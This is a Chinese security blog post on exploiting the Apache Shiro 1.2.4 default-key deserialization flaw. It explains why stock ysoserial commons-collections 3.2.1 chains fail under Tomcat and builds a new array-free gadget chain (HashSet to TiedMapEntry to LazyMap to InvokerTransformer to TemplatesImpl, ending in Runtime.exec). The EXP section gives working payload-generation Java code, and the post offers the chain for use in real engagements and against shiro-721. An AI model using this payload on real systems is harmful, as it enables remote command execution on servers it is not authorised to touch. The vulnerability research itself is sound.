Java反序列化利用链挖掘之Shiro反序列化
0x00 前言
在跟了一遍commons-collections系列的payload后,终于可以开始解决一下当时对shiro反序列化模凌两可的认识了。
当前,不管是国内实际的xx行动还是ctf比赛,shiro反序列化会经常看到。但在实际利用这个漏洞的时候,会发现我们无法在tomcat下直接利用shiro-sample中的commons-collections:3.2.1
(2021-03-16更新,这里经p牛指正,shiro并没有依赖cc库,详情)。
我们前面已经对commons-collections系列利用链的分析,今天就来根据学到的知识来解决这个问题。
本文讨论了shiro-1.2.4版本无法直接利用现有的ysoserial利用链,并提出了相应的解决方案。
0x01 环境准备
这里用的是shiro-root-1.2.4的samples/web环境,clone下来后执行git checkout shiro-root-1.2.4
利用脚本参考的知道创宇的一篇分析
ysoserial用的0.0.6版本https://github.com/frohoff/ysoserial
先来讲一下,关于环境方面遇到的坑:
这里的解决方案是修改pom.xml
添加jstl的具体版本即可解决。
- serialVersionUID不一致导致无法反序列化的问题
这里可能在你的实验环境下不一定会遇到,我的实验环境和ysoserial生成的某几个类的serialVersionUID不一致,导致无法正常反序列化。在实战中你可以采用这篇文章处理方法,这里我的解决方案是直接同步个commons-collections:3.2.1
版本,在生成war包前,在pom.xml加入
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
<scope>runtime</scope>
</dependency>
0x02 前景回顾
16年的时候,shiro爆出了一个默认key的反序列化漏洞。至今已有大量的分析文章分析了该漏洞的原理,所以本文不再重复分析该漏洞的相关原理,可以参考以下几篇文章的分析:
- 1.https://blog.knownsec.com/2016/08/apache-shiro-java/
- 2.https://blog.zsxsoft.com/post/35
- 3.http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
除了1中在漏洞环境下添加了commons-collections:4.0
,另外两篇文章均提到了在tomcat下无法直接利用commons-collections:3.2.1
的问题。接下来我们就来看看是什么原因吧:)
org.apache.shiro.io.DefaultSerializer.deserialize:67
这里我们直接看反序列化发生的点,第75行使用了ClassResolvingObjectInputStream
类而非传统的ObjectInputStream
.这里可能是开发人员做的一种防护措施?他重写了ObjectInputStream
类的resolveClass
函数,我曾在第一篇基础文章中分析过Java反序列化的过程,ObjectInputStream
的resolveClass
函数用的是Class.forName
类获取当前描述器所指代的类的Class对象。而重写后的resolveClass
函数
采用的是ClassUtils.forName
,我们继续看这个forName的实现。
来看看这个ExceptionIgnoringAccessor
是怎么实现的
这里实际上调用了ParallelWebAppClassLoader
父类WebappClassLoaderBase
的loadClass
函数(可以直接下断点看看内容)。
该loadClass载入按照上述的顺序(这里不贴代码了,找到org.apache.catalina.loader.WebappClassLoaderBase.loadClass
即可),先从cache中找已载入的类,如果前3点都没找到,再通过父类URLClassLoader
的loadClass
函数载入。但是实际上此时loadClass的参数name值带上了数组的标志,即/Lorg/apache/commons/collections/Transformer;.class
,在参考的第二篇文章里有提到这个问题,所以导致shiro无法载入数组类型的对象。
那么如何才能真正的利用commons-collections:3.2.1
来构造利用链呢?
首先,在参考的第一篇文章里,作者在环境中引入了commons-collections:4.0
,使得ysoserial的CommonsCollections2
利用链可以成功利用。这是因为CommonsCollections2
用的是非数组形式的利用链,在该利用链上没有出现数组类型的对象,这使得在shiro的环境下,可以正确执行命令。
那么,问题来了,我们是否能构造出一个在commons-collections:3.2.1
下可以利用,并且在利用链上不存在数组类型的对象?答案当然是肯定的:)
0x03 新利用链构造
根据0x02的介绍,我们可以清楚的是利用链中的ChainedTransformer
这个类的利用是无法成功的,因为他的类属性iTransformers
是数组类型的Transformers
,也就是在执行过程中发生的ClassNotFoundException
。
如果你看过前几篇关于commons-collections系列的payload分析,那么你肯定可以回忆起来,除了利用ChainedTransformer
这种方式,还可以使用TemplatesImpl.newTransformer
函数来动态loadClass
构造好的evil class bytes(这一部分不复述了,可以看前面的文章)。并且在这部分利用链上是不存在数组类型的对象的。
那么,接下来的重点就是找一个如何触发TemplatesImpl.newTransformer
的方法了:)
我们先来回顾一下CommonsCollections2
的利用链
PriorityQueue.readObject
-> PriorityQueue.heapify()
-> PriorityQueue.siftDown()
-> PriorityQueue.siftDownUsingComparator()
-> TransformingComparator.compare()
-> InvokerTransformer.transform()
-> TemplatesImpl.newTransformer()
... templates Gadgets ...
-> Runtime.getRuntime().exec()
在这条链上,由于TransformingComparator在3.2.1的版本上还没有实现Serializable接口,其在3.2.1版本下是无法反序列化的。所以我们无法直接利用该payload来达到命令执行的目的。
那么就来改造改造吧!我们先将注意力关注在InvokerTransformer.transform()
上
这里是最经典的反射机制的写法,根据传入的input
对象,调用其iMethodName
(可控)。那么如果此时传入的input
为构造好的TemplatesImpl
对象呢?
很明显,这样我们就可以通过将iMethodName
置为newTransformer
,从而完成后续的templates gadgets。
那么问题来了,怎么将传入的input
置为TemplatesImpl
对象呢?
在ysoserial的利用链中,关于transform
函数接收的input
存在两种情况。
1.配合ChainedTransformer
InvokerTransformer
往往同ChainedTransformer
配合,循环构造Runtimt.getRuntime().exec。很明显,这里我们无法利用了。
2.无意义的String
这里的无意义的String
指的是传入到ConstantTransformer.transform
函数的input
,该transform
函数不依赖input
,而直接返回iConstant
这里第一条路肯定断了,那么就是怎么利用这个无意义的String
了!
从CommonsCollection5
开始,出现了TiedMapEntry
,其作为中继,调用了LazyMap
(map)的get
函数。
来看一看
其中map
和key
我们都可以控制,而LazyMap.get
调用了transform
函数,并将可控的key
传入transform
函数
这里就接上了我们前面讨论的,将构造好的TemplatesImpl
(key)作为InvokerTransformer.transform
函数的input
传入,我们就可以将templates gadgets串起来了。
简单来说,我们将CommonsCollections5,6,9
构造链中的TiedMapEntry
的key用了起来。
final Object templates = Gadgets.createTemplatesImpl(command);
// TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); //原来的利用方式
TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);
这里将无意义的foo
改造成了触发TemplatesImpl.newTransformer
的trigger。
而在TiedMapEntry
前的利用链,在原生shiro环境下,并不冲突(没有数组类型的对象),可以正常反序列化。这一部分就省略了。
20200108补充
其实createTemplatesImpl的利用方式中还是存在数组形式的,byte[]数组用于存储evil class。但是在tomcat 7及以上的环境下,java的原生数据类型的数组还原不影响反序列化,只针对对象级别的数组还原。而tomcat6的实现方式直接不允许数组类型的还原,也就是说该利用链在tomcat6的环境下是成功不了的。
20200109补充
当应用开启了security manager时,需要设置-Djdk.xml.enableTemplatesImplDeserialization=true
0x04 EXP编写
这里其实可以构造出好几个链,我这里就拿HashSet
为例,完整的exp见MyYsoserial中的CommonsCollections10
final Object templates = Gadgets.createTemplatesImpl(command);// 构造带有evil class bytes的TemplatesImpl
// 构造InvokerTransformer,填充无害的toString函数
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
final Map innerMap = new HashMap();
// 构造LazyMap的factory为前面的InvokerTransformer
final Map lazyMap = LazyMap.decorate(innerMap, transformer);
// 填充TiedMapEntry的map(lazyMap)和key(TemplatesImpl)
TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);
HashSet map = new HashSet(1);
map.add("foo");
// 下述代码将entry填充到HashSet的node的key上,可以使得HashSet在put的时候调用TiedMapEntry的hashCode函数
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = null;
innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = new Object[0];
array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
// 将最终的触发函数newTransformer装载到InvokerTransformer上
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
return map;
这里不对源码进行讲解了,都写在了注释里。
这里整理一下这条链的调用过程
java.util.HashSet.readObject()
-> java.util.HashMap.put()
-> java.util.HashMap.hash()
-> org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
-> org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
-> org.apache.commons.collections.map.LazyMap.get()
-> org.apache.commons.collections.functors.InvokerTransformer.transform()
-> java.lang.reflect.Method.invoke()
... templates gadgets ...
-> java.lang.Runtime.exec()
0x05 总结
在经过对CommonsCollections
系列的利用链进行分析后,在shiro这个问题上,进行了实战,解决了tomcat下无法利用shiro原生的commons-collections:3.2.1
这个问题。
最后,在最近的shiro-721利用上,这个利用链希望可以帮助到大家
Happy Hacking XD